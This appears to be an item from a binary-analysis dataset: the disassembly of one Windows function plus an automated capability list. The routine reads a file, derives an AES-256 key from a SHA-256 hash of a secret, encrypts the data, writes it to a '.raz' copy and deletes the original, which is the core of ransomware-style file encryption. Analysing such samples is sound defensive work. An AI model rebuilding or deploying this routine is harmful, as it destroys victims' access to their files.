Function at 0x140001340
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov r12, r8
mov qword [rsp + 0x30], 0
mov r15, rdx
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
xor r9d, r9d
mov r13, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1400016d3
mov qword [rsp + 0x190], rdi
xor edx, edx
mov qword [rsp + 0x1e8], rbx
mov rcx, rax
mov qword [rsp + 0x198], rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea ecx, [rdi - 1]
cmp ecx, 0xfffffffd
ja 0x1400016b2
mov ecx, edi
mov esi, edi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x1400016b2
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000169f
cmp dword [rsp + 0x60], edi
jne 0x14000169f
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x14000168a
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14000167d
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
mov r8d, 0x20
mov rdx, r15
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001672
mov r8, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001672
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov r8, r12
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
mov rcx, qword [rsp + 0x58]
test eax, eax
je 0x14000166c
lea rax, [rsp + 0x40]
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rax
xor r15d, r15d
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor edx, edx
mov dword [rsp + 0x40], edi
mov r8d, 1
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140001667
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
je 0x140001667
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x40]
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
xor edx, edx
mov dword [rsp + 0x30], eax
mov r8d, 1
lea rax, [rsp + 0x64]
mov dword [rsp + 0x64], edi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140001653
mov r9, r13
lea r8, str._s.raz
mov edx, 0x104
lea rcx, [rsp + 0x70]
call fcn.140001060
mov qword [rsp + 0x30], r15
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001653
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x68]
mov rdx, r14
mov qword [rsp + 0x20], r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000164a
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x68], eax
jne 0x14000164a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, esi
mov rdi, rbx
rep stosb byte [rdi], al
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [rsp + 0x40]
xor eax, eax
mov rdi, r14
rep stosb byte [rdi], al
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x1400016bb
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rsp + 0x40]
xor eax, eax
mov rdi, r14
rep stosb byte [rdi], al
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rdi, rbx
mov rcx, rsi
rep stosb byte [rdi], al
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400016bb
xor eax, eax
mov rdi, rbx
mov rcx, rsi
rep stosb byte [rdi], al
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x198]
mov rbx, qword [rsp + 0x1e8]
mov rdi, qword [rsp + 0x190]
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.140001fe0
add rsp, 0x1a0
pop r15
pop r14
pop r13
pop r12
pop rbp
ret